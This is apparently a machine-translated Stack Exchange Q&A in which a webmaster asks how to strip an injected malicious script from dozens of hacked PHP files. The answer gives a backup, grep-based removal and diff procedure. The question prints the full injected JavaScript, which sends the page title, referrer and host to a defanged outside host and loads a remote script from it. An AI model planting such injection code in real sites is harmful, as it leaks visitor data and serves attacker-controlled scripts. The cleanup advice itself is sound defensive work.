.%20sed%2C%20awk%2C%20grep.png)
Meine Site wurde gehackt/infiziert. Ich habe die URL des bösartigen Links ersetzt, aber andere Elemente im bösartigen Skript führen immer noch dazu, dass meine Site blockiert wird. Wie kann ich das folgende Skript aus 3 Dutzend Dateien auf meiner Site entfernen, ohne hundert oder so „Escapes“ einzufügen?
< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>
Andere Seiten auf Stack-Exchange beantworten diese Frage nicht.
Um die bösartige URL durch xxxx_hack_was_here usw. zu ersetzen, habe ich Folgendes verwendet:
find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +
Antwort1
Erstens stimme ich den obigen Kommentaren zu:Nicht sed
zur Wiederherstellung nach einem Hackerangriff verwenden. Sie werden sich immer fragen, ob Sie etwas verpasst haben. Stellen Sie es aus einem Backup wieder her, Punkt.
Die wörtliche Frage, die Sie gestellt haben, nämlich wie man eine lange Zeichenfolge überall dort entfernt, wo sie vorkommt, ohne alle Sonderzeichen zu maskieren, ist jedoch etwas einfacher zu handhaben.
Ich ziehe aus Ihrer Frage einige Schlussfolgerungen/Annahmen, die Sie nicht direkt geäußert haben:
- Dass die zu entfernende Zeichenfolge eine einzelne Zeile ist.
- Dass es jedes Mal das Gleiche ist, wenn es auftritt.
- Das muss es seinENTFERNT, nicht durch etwas anderes ersetzt.
Wenn die obigen Annahmen richtig sind, gehen Sie wie folgt vor:
- Legen Sie den zu entfernenden String (einschließlich aller nachfolgenden Leerzeichen) in eine eigene Datei, z. B. genannt
hackline.txt
. Legen Sie diese eine Ebeneüberdas Verzeichnis, das Sie verwalten werden. Kopieren Sie bei Fehlern Ihr gesamtes Verzeichnis.
cp -a mydir mydircopy
Führen Sie die folgende Schleife in Ihrem Verzeichnis (oder der Kopie) aus, um alle Instanzen der Hackline zu entfernen:
cd mydir for f in *; do [ -f "$f" ] && [ -r "$f" ] || continue grep -vxFf ../hackline.txt "$f" > "$f.fixed" && mv -- "$f.fixed" "$f" done
Das Konzept hier ist, dass Sie hackline.txt
als Liste von festen Zeichenfolgen verwenden, die der gesamten Zeile entsprechen müssen, dann verwenden Sie, grep
um nur die Zeilen zu erhalten, dienichtPassen Sie diese Liste von Zeichenfolgen an.
-x
bedeutet „gesamte Zeile“; -F
bedeutet „feste Zeichenfolge, kein regulärer Ausdruck“; -v
kehrt die Suche um; -f
akzeptiert eine Liste von Mustern in einer Datei.
Wenn Ihr Website-Verzeichnis hierarchisch und nicht flach ist (was tatsächlich ziemlich wahrscheinlich ist), können Sie find
anstelle einer For-Schleife Folgendes verwenden:
find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;
diff
Überprüfen Sie dann rekursiv , ob alles so ist, wie es sein sollte:
diff -r mydircopy mydir